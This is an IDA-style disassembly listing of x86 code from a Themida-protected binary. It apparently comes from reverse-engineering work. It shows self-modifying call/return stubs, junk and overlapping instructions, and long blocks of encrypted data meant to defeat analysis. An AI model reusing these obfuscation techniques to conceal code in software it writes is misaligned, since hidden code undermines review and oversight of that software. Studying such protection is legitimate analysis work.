sub_5D4CDA	proc near		; CODE XREF: Themida_:005D4CD2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5D4CDA	endp

; ---------------------------------------------------------------------------
		mov	ebp, 0D5FB3A89h
		jno	loc_5D4CF7
		mov	dh, 8Fh


loc_5D4CF7:				; CODE XREF: Themida_:005D4CEFj
		mov	dword ptr [ebp+6141055h], 710Ch
		push	0
		push	ecx
		call	sub_5D4D0C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D4D0C	proc near		; CODE XREF: Themida_:005D4D04p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5D4D0C	endp

; ---------------------------------------------------------------------------
		setalc
		enter	14B7h, 38h
		jge	short near ptr loc_5D4D7B+2
		mov	[ebp+6141F29h],	edi
		mov	dword ptr [ebp+614013Dh], 0
		mov	[ebp+6140525h],	eax
		mov	ebx, [ebp+6140DC5h]
		push	dword ptr [ebp+61404B1h]
		push	0
		push	eax
		call	sub_5D4D50
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D4D50	proc near		; CODE XREF: Themida_:005D4D48p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5D4D50	endp

; ---------------------------------------------------------------------------
		jnz	short near ptr loc_5D4D65+3
		dec	ebx
		pop	ebp
		dec	edi


loc_5D4D65:				; CODE XREF: Themida_:005D4D60j
		mov	ebx, 0BB664D43h
		dec	ecx
		adc	[ebx], ecx
		mov	ebp, 61407FDh
		call	dword ptr [ebp+6140BD9h]
		push	0
		push	edi


loc_5D4D7B:				; CODE XREF: Themida_:005D4D21j
		call	sub_5D4D83
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D4D83	proc near		; CODE XREF: Themida_:loc_5D4D7Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5D4D83	endp

; ---------------------------------------------------------------------------
		inc	ecx
		test	[bp+si], eax
		jnz	short loc_5D4DB2
		mov	esi, 858B5D98h
		dec	ecx
		or	[esi+eax], edx
		push	0
		call	dword ptr [ebp+6142971h]
		mov	eax, eax
		jmp	short loc_5D4E2A
; ---------------------------------------------------------------------------
		db 0CCh
		db 1Bh
		db 6Ch,	2Eh
; ---------------------------------------------------------------------------


loc_5D4DB2:				; CODE XREF: Themida_:005D4D97j
		fadd	qword ptr [edi+331021CAh]
		imul	edx, [ebx-4E0C446h], 6B09BE18h
		stosb
		cmp	bl, [esi+4039A0CFh] ; CODE XREF: Themida_:005D4DEBj
		lodsd
		test	[eax], edx
		push	edi
		adc	ebx, edx
		dec	edi
		jle	short loc_5D4DF1
; ---------------------------------------------------------------------------
		dw 0CFC4h
; ---------------------------------------------------------------------------
		test	al, 0D7h
		dec	ecx
		sbb	ecx, ebx


loc_5D4DDA:				; CODE XREF: Themida_:005D4DFCj
		popa
		sub	[edx], bl
		add	[esi+ecx*2+7E9E9B18h], bl
		fdiv	dword ptr ds:9CF0A57Eh
		push	ds
		jmp	short near ptr loc_5D4DC3+1
; ---------------------------------------------------------------------------
		db 12h,	38h, 0DBh
; ---------------------------------------------------------------------------
		inc	esi


loc_5D4DF1:				; CODE XREF: Themida_:005D4DD0j
		push	552200E0h
		or	eax, 3E61C90Ah
		inc	ecx
		jno	short loc_5D4DDA
		push	eax
		iret
; ---------------------------------------------------------------------------
		retn	709Ch
; ---------------------------------------------------------------------------
		db 0DBh
		dd 6B28681Eh, 6CB88BDBh, 0E7CC4CB5h, 0B4C17817h, 0CDDF3750h
		dd 73029C6h, 0B5D03910h, 0AB969D48h, 0CFCC3466h
; ---------------------------------------------------------------------------
		mov	fs, word ptr [eax]


loc_5D4E2A:				; CODE XREF: Themida_:005D4DACj
		call	near ptr loc_5D4E3A+2
		out	59h, al
		and	dh, [eax+ebp]
		ja	short loc_5D4E42
		out	dx, eax
		adc	ah, [eax+7Bh]


loc_5D4E3A:				; CODE XREF: Themida_:loc_5D4E2Ap
		xor	eax, 0DA8166BFh
		and	bl, dl
		pop	eax


loc_5D4E42:				; CODE XREF: Themida_:005D4E34j
		jno	loc_5D4E4E
		or	[ebp+61422E9h],	eax


loc_5D4E4E:				; CODE XREF: Themida_:loc_5D4E42j
		add	eax, 6888h
		sbb	dl, 0A4h
		mov	esi, 19F6h
		jmp	loc_5D4E6D
; ---------------------------------------------------------------------------
		db 70h,	0FCh, 35h
; ---------------------------------------------------------------------------
		mov	dl, [eax-73h]
		or	[edx-3E2BC447h], ch


loc_5D4E6D:				; CODE XREF: Themida_:005D4E5Cj
					; Themida_:005D4ED2j
		push	dword ptr [eax]
		mov	cx, ax
		pop	ebx
		sub	ebx, 0E1BFD60h
		push	edi
		pop	ecx
		add	ebx, 54466C35h
		mov	cl, 75h
		xor	ebx, 32322E96h
		push	ebx
		mov	edx, [ebp+6140EF5h]
		pop	dword ptr [eax]


loc_5D4E92:				; CODE XREF: Themida_:005D4EDEj
		mov	edx, [ebp+6142985h]
		sub	eax, 7E3305D1h
		mov	[ebp+61416CDh],	ebx
		add	eax, 7E3305CDh
		movzx	edi, bx
		sub	esi, 1
		jnz	loc_5D4ECB
		mov	edx, [ebp+6141DF9h]
		jmp	loc_5D4EE3
; ---------------------------------------------------------------------------
		dd 0E5690D7Ah
; ---------------------------------------------------------------------------
		mov	[edx+65h], esi


loc_5D4ECB:				; CODE XREF: Themida_:005D4EB3j
		push	edx
		mov	edi, 58C4B973h
		pop	ecx
		jmp	loc_5D4E6D
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		push	92254A69h
		pop	ebp
		jo	short loc_5D4E92
		lea	esp, [edx-39h]


loc_5D4EE3:				; CODE XREF: Themida_:005D4EBFj
		jmp	short loc_5D4F45
; ---------------------------------------------------------------------------
		align 4
		dd 17h dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5D4F45:				; CODE XREF: Themida_:loc_5D4EE3j
		jmp	loc_5D5B10
; ---------------------------------------------------------------------------
		jmp	loc_5D5B09
; ---------------------------------------------------------------------------
		push	6197B9Ch
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6197CF3h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	6197D63h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		mov	dh, 96h
		sbb	edx, [edi]
		mov	[edi+6], dh
		add	ah, [ebp+6Ah]
		das
		jmp	short loc_5D4FF6
; ---------------------------------------------------------------------------
		dw 574Eh
		dd 783554D3h, 0B51D37B4h, 88171B96h, 61FE027Bh
		db 65h,	2Ah, 0E6h
; ---------------------------------------------------------------------------


loc_5D4F8F:				; CODE XREF: Themida_:005D4FA4j
		jns	short near ptr loc_5D4FD7+1
		push	esp
		shl	byte ptr [ebp-1E9526BAh], 1
; ---------------------------------------------------------------------------
		db 0E9h, 55h, 0E9h
; ---------------------------------------------------------------------------


loc_5D4F9B:				; CODE XREF: Themida_:005D4FF9j
		stosb
		db	67h
		push	small 33h
		sbb	eax, [edi-58h]
		wait
		loop	loc_5D4F8F
		wait
		or	byte ptr [ebp+esi-4Eh],	47h
		push	ds
		repne mov bh, 87h
		add	ebx, [edi]
		adc	eax, 0CDC0C25Dh
		mov	ebp, 0F410A6A2h
		mov	ecx, 77F66595h
		push	ebp
		db	26h
		push	ss
		inc	eax
		add	al, 0DAh
		das
		mov	al, 7Dh
		db	67h
		inc	ebx
		mov	cl, 1Ah
		in	eax, dx
		mov	al, 98h
		mov	eax, 6E991F2Eh


loc_5D4FD7:				; CODE XREF: Themida_:loc_5D4F8Fj
		xor	ebx, [ebx]
		mov	edi, 0B7F0639Bh
		test	bl, al
		lock push ebx
		pop	ds
		cmp	edx, [edi]
		rep fild dword ptr [ebp+eax*4+616FF008h]
		sal	dword ptr [esi+49A4D7FBh], 1
		in	al, dx
		pop	ebp
; ---------------------------------------------------------------------------
		db 0D8h
; ---------------------------------------------------------------------------


loc_5D4FF6:				; CODE XREF: Themida_:005D4F78j
		lock push ebx
		setalc
		jb	short loc_5D4F9B
		add	al, 7Bh
		push	eax
		push	ebp
		and	eax, 4474295Ah
		fmul	qword ptr ds:8BE34C7Fh
		dec	esp
; ---------------------------------------------------------------------------
		db 0D9h
		dd 0ABA0A449h, 48912838h, 0F1E9A0A0h, 225B6C23h, 3246A6DEh
		dd 8DA99C19h, 5E2255E9h, 7C2F512Eh, 65677AB8h, 1B88BC36h
		dd 0ABBE4944h, 5F7B1A1Ah, 1F8CBCA0h, 0F0E4A39Eh, 385C2053h
		dd 648070FAh, 0B67C5A18h, 94809654h, 2C0088h, 80AC0000h
		dd 8B5A1864h, 0F0921F2Ah, 3C4B9453h, 8B975D41h,	0CC6667A1h
		dd 0AAA1C5C0h, 9243FE3Fh, 7CC053F0h, 604A4CB6h,	242Ah
		dd 64804000h, 0F48B5A18h, 2BAFDFD6h, 0B3BB96F5h, 0E3313AEAh
		dd 7FD467C0h, 0AD2553F0h, 67A18B27h, 4ABD3766h,	1B618060h
		dd 65AB47E0h, 0F85C49DCh, 47E053C0h, 55E485F4h,	8C090B0Fh
		dd 55E485B1h, 387391h, 2E5E4D7Fh, 0D8628956h, 2F2B428Dh
		dd 8BA8A401h, 0F645E25Dh, 0D55E499h, 0B5F01E09h, 70F30185h
		dd 18Bh, 146080BCh, 929346E7h, 3C0053F0h, 5A51730Ch, 0DA69B621h
		dd 0FB53F092h, 3AA9AF8Ch, 0B599ED23h, 6779BB7Fh, 46053665h
		dd 41CB4944h, 6480A288h, 0B67C5A18h, 24D6F48Bh,	0F7536B22h
		dd 0D55FBBD3h, 9480F735h, 62E788h, 80CD0000h, 0AFE6E364h
		dd 0F48BC98Bh, 5457DDD8h, 2C6162F9h, 9244F7E6h,	7BDF53F0h
		dd 0AD188BF9h, 0F0923100h, 44CEB253h, 206667C2h, 0F092B487h
		dd 274BCF53h, 9F188BADh, 53F092ACh, 11FEB885h, 9EF20AA3h
		dd 9D8E78BAh, 30E563C7h, 0CFFE1ADCh, 0E264AED2h, 0AC9F188Bh
		dd 2753F092h, 1F77D123h, 0FD000000h, 5A186480h,	921F2A8Bh
		dd 7ADE53F0h, 67A18BF8h, 4C043766h, 0ED9982B2h,	74FE3414h
		dd 6080604Ah, 7DEACE6h,	0E40873D9h, 167C88D7h, 0F0BABA89h
		dd 31553953h, 0C867C0E3h, 6353F0BAh, 6F9DEC1Fh,	0B1CEFE34h
		dd 63181C8Fh, 87B7EE1Ch, 0ABE2E403h, 7BFD3793h,	0AC9F188Bh
		dd 2753F092h, 83AD123h,	0E6E76695h, 88FB7DB7h, 186480A2h
		dd 54B67C5Ah, 88948096h, 2900h,	6480AC00h, 87ABE2E3h, 0AD9C1974h
		dd 2653F092h, 8B6ED022h, 0F0921F2Ah, 22B09453h,	6667A18Bh
		dd 604ABD37h, 382Ah, 64804000h,	9EAEE5E3h, 0A6CAC5C1h
		dd 2A8B3082h, 53F0921Fh, 13BA88DEh, 66B8F510h, 688CBE57h
		dd 8BA18BEAh, 9DD5BCFDh, 65AF757Ch, 0E31895B6h,	1A326B9Ch
		dd 4AF274BEh, 0D72A60h,	80400000h, 46E71460h, 53F09293h
		dd 0B1D03147h, 1A315BF1h, 5464E818h, 7E82F90Bh,	366567B4h
		dd 49444605h, 0D55FD531h, 0F48BA288h, 6E1F20D2h, 0A6D6FA5Eh
		dd 8DCD022h, 0F7CF67Ch,	0D65C5170h, 8096546Ch, 0B9C08894h
		dd 621D178Ah, 6Dh, 0E364804Eh, 0CB89ADE8h, 921F2A8Bh, 8CD353F0h
		dd 8E0A027Bh, 5A187C84h, 0DED7F48Bh, 0FBB6D1AEh, 0C42347C3h
		dd 58BCCCC9h, 8BC7E9DAh, 4911E0FDh, 0AC66EEBFh,	5A2DCEFFh
		dd 0FD2DFFEAh, 66AA0106h, 36ED93B0h, 8C4C3069h,	15395DC4h
		dd 94FB6EE6h, 10494BCAh, 0F48B1802h, 0AE58DAD3h, 272A04h
		dd 8EF90000h, 0F0921221h, 67AD9153h, 186480FDh,	1F2A8B5Ah
		dd 0DE53F092h, 0A18BF87Ah, 33C56667h, 0B9C818C2h, 4A7FF519h
		dd 36656760h, 4E4B4605h, 6C58DA3Eh, 8FBCF713h, 0AFDFCEF0h
		dd 0D6FAB3D0h, 98E7945Ch, 2EFD3766h, 0C869611Ch, 53F09277h
		dd 0E6254CABh, 0FA65A9E4h, 0AA1127C8h, 70082B22h, 51CC3F4Ch
		dd 0F04C65D4h, 539AFE53h, 53F04CE0h, 0A9151F63h, 1C6FC3AFh
		dd 4C3504A1h, 0CA4E53F0h, 3D4CA348h, 0E47B900Bh, 3B9FAFE6h
		dd 0B84939F9h, 9C7EBFCCh, 0D249DCBBh, 670BC667h, 848855E4h
		dd 0E6167A8Eh, 0E467F847h, 0B4271A55h, 0E467D86Bh, 0DECFF055h
		dd 0CFAC66EAh, 0D7F675A8h, 6AB058DAh, 748BA981h, 39h, 366567A0h
		dd 9294A706h, 898453F0h, 6163FC0Ch, 414D122Ah, 0DA31DE46h
		dd 54FF71A2h, 5D414598h, 0B94073Ah, 53F02E38h, 7B6E25BBh
		dd 58A1815Bh, 0FA11FE34h, 3EC2B9CBh, 0CD6567F4h, 0ACDCC0BBh
		dd 94A7D534h, 0D906970Bh, 0B074D849h, 304B31D0h, 0E961729h
		dd 0DCDFA524h, 71E21A3Eh, 0E9A70534h, 96BA9E55h, 0A7093865h
		dd 868A55E9h, 55C0338Ch, 0E9A779C8h, 616DFA55h,	85F00226h
		dd 4FC550E9h, 7E0D3E02h, 0A2265653h, 74E75450h,	0DDDE182Bh
		dd 7DB79B5Fh, 0DDDECD70h, 0C9202F5Fh, 852A1E56h, 37B2EC99h
		dd 77CF1DFDh, 26EF91C2h, 0C5000000h, 0DDD8F48Bh, 0FB8F5F57h
		dd 92C467C0h, 1B7F53F0h, 9D1A75E0h, 53F092AEh, 3CD32125h
		dd 5A909411h, 25h, 146080D0h, 929746E7h, 381C53F0h, 534A7C03h
		dd 41642D3Bh, 0E08839F5h, 1A7536FCh, 0C64C4743h, 7F83FE09h
		dd 18E2AB5h, 80400000h,	0A0BCE86Eh, 960B3D17h, 436B5348h
		dd 45769A0Fh, 0F0C469D8h, 4266EA53h, 0E251DE49h, 6153F0C4h
		dd 8DEC0B1Dh, 1DC44AC9h, 0A2882D17h, 0BC366567h, 9654B67Ch
		dd 889480h, 3Ah, 0E86E80ACh, 0EEEBC0C8h, 0E5E23D2Eh, 47784A8h
		dd 0F095A89Bh, 0ED272B53h, 1F2A8B6Bh, 9453F092h, 0A18B22B0h
		dd 0A3316C67h, 21D3F48Bh, 34446823h, 0EA042D0h,	432Ah
		dd 6E804000h, 2A8B581Ah, 53F0921Fh, 0D8081DEh, 0F48B6BE9h
		dd 0DD6CC9D7h, 5653F092h, 5ABECEF2h, 8BC5EFD8h,	3100AD18h
		dd 0B253F092h, 92BC8FCEh, 533753F0h, 82FF0AC1h,	1E42FB89h
		dd 269987EBh, 604A6AECh, 0BC366567h, 25D7F48Bh,	0CF456924h
		dd 648035FFh, 0F48B5A18h, 9858DAD3h, 0D7F48B5Ah, 5E6E2925h
		dd 0BC5CD6FAh, 8894807Eh, 5578h, 6480B400h, 4D95E318h
		dd 9F911EACh, 8BCA4CC6h, 0F0921F2Ah, 22B09453h,	0FD8BA18Bh
		dd 1E277372h, 984B37AFh, 903A849Ah, 0C9FA9163h,	0ACD8A7D4h
		dd 0B77DD9F1h, 8B604A4Dh, 0A0DBD2F4h, 0F0923407h, 49CB4F53h
		dd 37DFh, 709DEC00h, 0C9C1BCCEh, 0B511294Dh, 6480F57Fh
		dd 2A8B5A18h, 53F0921Fh, 8BF87ADEh, 0D7F48BA1h,	868754DEh
		dd 0D94A5D17h, 0A33A18Bh, 0DE3DABAh, 4637CC62h,	0AD979D94h
		dd 18306B67h, 4CFF38ABh, 0C753F092h, 7AC4B143h,	7E53F092h
		dd 7D89B8DFh, 48D7CAF9h, 0DF234736h, 0F4AFDDACh, 48B240C4h
		dd 0BFCB6B67h, 0D750B4C4h, 0AAA2C6B5h, 1ACE2B39h, 89166A6Fh
		dd 0FDB8D48Bh, 95FC1BCDh, 0A8A45A76h, 5579DDEDh, 247688D1h
		dd 9CAF53F0h, 0CAB58421h, 4ACE53F0h, 0E1FB20C8h, 34858594h
		dd 13FFFFFEh, 0F09286B9h, 93457853h, 0F28953F0h, 6C2120D6h
		dd 5ED43048h, 0F093ED5Fh, 932C1353h, 75E053F0h,	0F0931928h
		dd 7CB69A53h, 0F093CE71h, 22720253h, 52D09F5h, 0E39AAB74h
		dd 28A56FEBh, 13F0FD15h, 0A8782D9h, 2755B408h, 0ECAD8B14h
		dd 42C689DFh, 0C16ED94Ah, 95E7F372h, 2F878DF1h,	962758DEh
		dd 35FB9612h, 0B066C337h, 163AE3F9h, 5EDEB8E5h,	0F3578FCBh
		dd 0EECD2Ch, 0A775E5A3h, 319h, 4CD0CBFBh, 37FBB2D3h, 1CE09DA8h
		dd 0A0E8583h, 0EF336E9Dh, 0CBFA486Ch, 0B8D552D6h, 0A2AE39FDh
		dd 828423E7h, 176A070Bh, 0E9E9BB96h, 119B3855h,	0AC9F188Bh
		dd 2753F092h, 0D8F0ADD8h, 5DA587Ch, 8708803h, 0D7893F9h
		dd 0DD57527Eh, 0D906CAD0h, 0CAFC0B49h, 0A0340321h, 8FB3F762h
		dd 67E6A76Bh, 0A055E98Ch, 95003B41h, 0C0F8B5D6h, 0BBCFCE44h
		dd 4C4FC018h, 9AACB3C8h, 7E801FE3h, 3664FC0Fh, 0CEAF15E3h
		dd 397844CEh, 5FC2A70Eh, 3F4C38C9h, 0EB33E0FEh,	0EE1D6145h
		dd 0FA3E6D9Fh, 28205B6Dh, 5CEF48BBh, 0D741BB3Ah, 0A81E3B81h
		dd 0CDF18530h, 0C0C271BEh, 0FD4141BBh, 1A6E7F37h, 326F9AE1h
		dd 0A46A4C1Ah, 0D87939C1h, 22596BB4h, 5B64AE2Ah, 9224C0DAh
		dd 9512095Bh, 4B9407A6h, 535593Dh, 3384C9Dh, 149F3775h
		dd 8F85C054h, 0F99BF33Ch, 0B09451BDh, 30C2C49Bh, 1C2F880Eh
		dd 974D8EE0h, 1B7F8FB3h, 92B433F7h, 0E070E31Bh,	7C5E21EBh
		dd 0A3FDD742h, 27BB7E56h, 0B984F103h, 754D8EFAh, 6BDD3AFFh
		dd 0DE547F15h, 5A7107E6h, 868C0703h, 50E2F825h,	0EF5357A7h
		dd 0F28667DFh, 0F11F6ED9h, 0C0682BAh, 4B8AA181h, 0B97EC26Dh
		dd 4480C064h, 0C23E0C7Ch, 94000001h, 6AF53974h,	47E02459h
		dd 52CD514Ch, 2AB57934h, 19A2661Bh, 0D808F37h, 34719E09h
		dd 205B77F0h, 4A4143DCh, 0D750ABC6h, 55E9EE64h,	805054FFh
		dd 99E01B61h, 80043467h, 0EEF43172h, 6749D906h,	0E178EBE3h
		dd 5569ABE6h, 6ACBC0B4h, 4FC51D2Ch, 0FF411782h,	158E54BCh
		dd 0BE132E2Fh, 0AC905FDDh, 0F93E0266h, 62FF8FAEh, 52C4D646h
		dd 4000001h, 1A858904h,	0F770B4E9h, 0C25DA1DCh,	0DA45C9C4h
		dd 0A932F6ABh, 9D103F87h, 84010E99h, 0B0EBE780h, 0DAD1F36Ch
		dd 67C03B56h, 55E9EFD4h, 80E0246Fh, 0AFDEE061h,	0E4173B9Fh
		dd 0D9062BBBh, 5695E349h, 2F5873FBh, 69ED151Fh,	87FE0B52h
		dd 0BBC2318Dh, 9FFB138Ah, 32C4C695h, 16609815h,	3DCC55E9h
		dd 0A6CAEECCh, 0C8C3C562h, 0E39AACB3h, 0DC2D9511h, 0E01293A8h
		dd 794FC09Dh, 75961115h, 606BF438h, 4846E125h, 0A1263E4Dh
		dd 70C6B4F9h, 0ABA3DAECh, 49090B2Fh, 0CB54C732h, 5FC3D578h
		dd 0FB5697FBh, 785FC3D5h, 42411E14h, 0FB1F96B4h, 0E499A837h
		dd 67788D7h, 799592F6h,	4F3CF43Eh, 0D5E053DCh, 1F635FC3h
		dd 5B494615h, 0C3D56FDAh, 7C60E45Fh, 6A15304Fh,	4952B27Bh
		dd 0B2CAEE02h, 6714DC56h, 60B2EB18h, 20E49FABh,	0A4018587h
		dd 5FC37995h, 8BACD82Eh, 54040D87h, 9F080C30h, 8FF73B72h
		dd 861DF87Eh, 0CF146E34h, 0BAC990ABh, 4F7751C7h, 7382AADCh
		dd 6D9906A1h, 0E645EABFh, 0BF192875h, 0B69A41BDh, 0E3E57A92h
		dd 0EAA3A0BFh, 0BDBF50E3h, 7594D341h, 60840038h, 1262B87Ch
		dd 88000000h, 3AC1F8Ch,	53F09230h, 9AB2EB18h, 4CC64A3Eh
		dd 346767CAh, 52497B04h, 6E29253Ah, 8904015Eh, 0A2DFEE71h
		dd 0FBB6D5AAh, 178EBCC3h, 306D98E7h, 57464718h,	0D5681F27h
		dd 8900001Eh, 0EE68243Ch, 8900000Ch
; ---------------------------------------------------------------------------
		xor	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, 35AF02F3h
		push	edx
		mov	edx, 4B414311h
		shl	edx, 1
		shl	edx, 6
		sub	edx, 529529DAh
		dec	edx
		shr	edx, 3
		add	edx, 0C6A8E50Ah
		mov	esi, edx
		pop	edx
		add	esi, edx
		pop	edx
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		push	edx
		mov	edx, ecx
		mov	[edi+8], edx
		pop	edx
		pop	ecx
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		db 8Ah,	46h, 39h
		db 0FEh
; ---------------------------------------------------------------------------


loc_5D5B09:				; CODE XREF: Themida_:005D4F4Aj
		mov	eax, 6197EDAh
		add	eax, ebp


loc_5D5B10:				; CODE XREF: Themida_:loc_5D4F45j
		mov	eax, ebx
		jmp	loc_5D5B37
; ---------------------------------------------------------------------------
		db 4Ah
		dd 0FE561h, 6 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5D5B37:				; CODE XREF: Themida_:005D5B12j
		jmp	loc_5D6148
; ---------------------------------------------------------------------------
		dd 50D4C7C7h, 43C7B6D7h, 28ECA9A4h, 161A91BFh, 3077A89h
		dd 0DFEE5478h, 0C4C15EA2h, 0AEDA45C9h, 8EB02FF3h, 37E1B1Fh
		dd 0E9ED97A2h, 84E72C55h, 0BC1A9DCCh, 3EF04597h, 50E874BDh
		dd 998391F7h, 5366567h,	0C74D4846h, 0A5FC74E7h,	26A39495h
		dd 62613EF4h, 4A7CEB2Fh, 0B1C83B53h, 64E01893h,	0DCCFF1AEh
		dd 0FFAED0AFh, 0FDC94BCFh, 1C2C6162h, 0A5789F78h, 2BE9A4A6h
		dd 0D75B5274h, 5AB33C48h, 0F662739Dh, 0BECEC3C2h, 0E12365Ah
		dd 23A7591h, 0A0AE507Dh, 4EC9C1E5h, 3A9588EFh, 0F09F4EFDh
		dd 0A641C553h, 78DCECA9h, 55E9E5BAh, 0D4587C37h, 0F2ABD8A7h
		dd 22596B20h, 0E14EB92Ah, 53F09F52h, 36A76DD1h,	53F09F14h
		dd 0FC2F4629h, 28205B6Dh, 549A66ACh, 62859499h,	71h, 0CD65674Eh
		dd 960B3ABCh, 0DAFE5A72h, 59C631A2h, 53F092EAh,	0AE2FE569h
		dd 53F0929Dh, 54A6CDA2h, 85948C86h, 167C89D0h, 0F66BA89h
		dd 315539ACh, 0F477BD19h, 6, 0CCC1C299h, 6667DC46h, 47780737h
		dd 0F5B1CDA4h, 2848DED9h, 0A5D5F996h, 0D9F1ACDAh, 60BBD2BDh
		dd 949B3D10h, 3E4D422Ch, 0F00942F1h, 0B77DC153h, 72B6E718h
		dd 54D8D3F5h, 3568679Eh, 44C54E06h, 6C9EC560h, 9D616E4Ah
		dd 0D2204450h, 0E81A61D2h, 0C9FA85B5h, 3C20A4D4h, 622859F6h
		dd 99B1EC1Bh, 3B0D3C3Dh, 958653F0h, 0F03B3908h,	0B2D6BA53h
		dd 35595475h, 4DA4D305h, 8E920F3Eh, 8CBCEF11h, 6DCAD8F3h
		dd 53F03BDEh, 0BDCDF155h, 4C8EE560h, 859533AEh,	0B628h
		dd 222E3D00h, 21F35767h, 9F188B3Fh, 53F092ACh, 0C3C42327h
		dd 749348CAh, 537E0139h, 6DCA2556h, 53F092DEh, 1836F155h
		dd 7317979Dh, 2F5E6D84h, 1D017C89h, 3D709FEEh, 67ADE0E2h
		dd 0F26DD8B3h, 0F09286B5h, 30391D53h, 53F09201h, 57671A29h
		dd 79BB9FF3h, 0DEEEA3A2h, 86B5F26Dh, 1D53F092h,	2624FB39h
		dd 163A7394h, 1E2D8AE5h, 9553F092h, 0FE4363B1h,	44FAF81Fh
		dd 7285948Ah, 50A2D9EBh, 7B97h,	0A4A5A400h, 920F3EE9h
		dd 12141E7Ah, 5356867h,	3B534E7Ah, 4A11C0Fh, 53F09235h
		dd 0A348CA4Eh, 930E3D4Ch, 0BAE0E178h, 0F092CE7Dh, 0DDC14553h
		dd 6751A357h, 0A6073766h, 53F092A4h, 0FD0D8886h, 0AFD16762h
		dd 2448CCFCh, 0CB06A714h, 4853F092h, 5CB35CC4h,	0A6556D6h
		dd 1C5D5873h, 53F0922Dh, 4845A2A6h, 5BD93D4Dh, 0BBC25DB4h
		dd 62E6168Dh, 8D22C890h, 1BC8594h, 78000000h, 27266C67h
		dd 0C1457528h, 0F09249F8h, 0D946CA53h, 7FDBF3AEh, 0A9B0235Bh
		dd 7E2DE79Ah, 0E29FAA4Ch, 314A6EEAh, 92EA59C6h,	0C5C253F0h
		dd 6054B0C8h, 8904031Ch, 23243B8Bh, 0FB0D526Ah,	63CC8880h
		dd 32E1060Ch, 0C3940DBh, 0C1CC8391h, 0A14040C4h, 0C707A0DBh
		dd 3849DC62h, 295B2454h, 8EDDAE72h, 510E0481h, 0ED4C7C2Fh
		dd 55E49D50h, 5AD53C5Bh, 9DF34EEFh, 0F77055E4h,	2FABA3DAh
		dd 84B7F00Bh, 1F55E49Dh, 2022F93Bh, 0C3EA96Dh, 0E4E67991h
		dd 286791A9h, 1A8082C1h, 0E49DAE9Dh, 3D212555h,	9B8F5DF9h
		dd 5B2F8BA8h, 85000001h, 0AD188Bh, 53F09231h, 0BC8FCEB2h
		dd 3753F092h, 1CEDC153h, 54D25368h, 0AD49DC90h,	0BCCE91A9h
		dd 0DE5FCAC1h, 55E49063h, 4B433A4Bh, 9D97FBCFh,	45384AD5h
		dd 65182A35h, 5DC8A355h, 0E49061D0h, 949EE255h,	5F61A0F7h
		dd 3AC1F2Ch, 55E49030h,	49FB7811h, 11650A82h, 0A2911E2Dh
		dd 2155E4EFh, 0B723D75Dh, 8BA90969h, 1E9BB6B5h,	4F6B14h
		dd 80410000h, 5FE8E465h, 0D0E53740h, 54678BB4h,	0F00D78CBh
		dd 7397FB53h, 0D0CDF58h, 43C7D3F0h, 0D5FEA4Bh, 4D7FD3F0h
		dd 33512E5Eh, 57384078h, 0A52AFA40h, 7F8CD34Eh,	2DB80C06h
		dd 0D88B1427h, 1B53F00Dh, 47450437h, 0D812C64Ch, 9Ah, 0E0618056h
		dd 0CC93ABE2h, 0B8DCC0BDh, 3A491083h, 6C0CD47h,	0FF49DC6Ah
		dd 9A10238Ch, 0AF9355E4h, 0DAEC738Bh, 0BEC05FA3h, 18A6B33Dh
		dd 0CBEFDBB6h, 33CA72B3h, 0DBEC55E4h, 0B6D5AAA2h, 8DBCC3FBh
		dd 284F1010h, 2E3D2EE2h, 0F1556520h, 98842B3Fh,	9C96494Dh
		dd 576998FFh, 7BA41724h, 55E422C8h, 854DC74Bh, 6398ECFDh
		dd 0CDA2FEC2h, 0A8243C4Fh, 0FAEF03A3h, 0B89CE42Eh, 0DECDFF80h
		dd 0A3CA29AEh, 0E5166283h, 0A39E1F8Ah, 205FDE53h, 0CFC6C35Ch
		dd 0D3704845h, 9DE145F7h, 61805B99h, 0F675E01Bh, 8FE42AD5h
		dd 26B27F77h, 3F85F002h, 0F349D9D9h, 0AAD95B6Ch, 5FBBD3F7h
		dd 91A9ADD5h, 3DC1BCCEh, 0F516A0A2h, 0D2FF80B8h, 7B93B7DBh
		dd 0EFFC9A3Ah, 0C128874Bh, 90D8082h, 0BBCA6C9Eh, 2E52B6C6h
		dd 0B2DEAD1Eh, 0B143C7F7h, 99B1EC1Ah, 0BDCDC8C6h, 0DCECA1A2h
		dd 4786ED2Ah, 82F534Ah,	8183C229h, 6799060Ah, 0A360434h
		dd 0BC000000h, 41401F8Ch, 5AD83C4Ch, 346767D0h,	52497B04h
		dd 6E29253Ah, 8904015Eh, 0A2DFEE71h, 0FBB6D5AAh, 178EBCC3h
		dd 306D98E7h, 57464718h, 9F681F27h, 8900001Ah, 0E2892414h
		dd 4C281h, 0EA830000h, 24148704h, 0E689565Ch, 4C681h, 0EE810000h
		dd 4, 5C243487h, 68243489h, 6CDh, 0BE243C89h, 6CFB0C85h
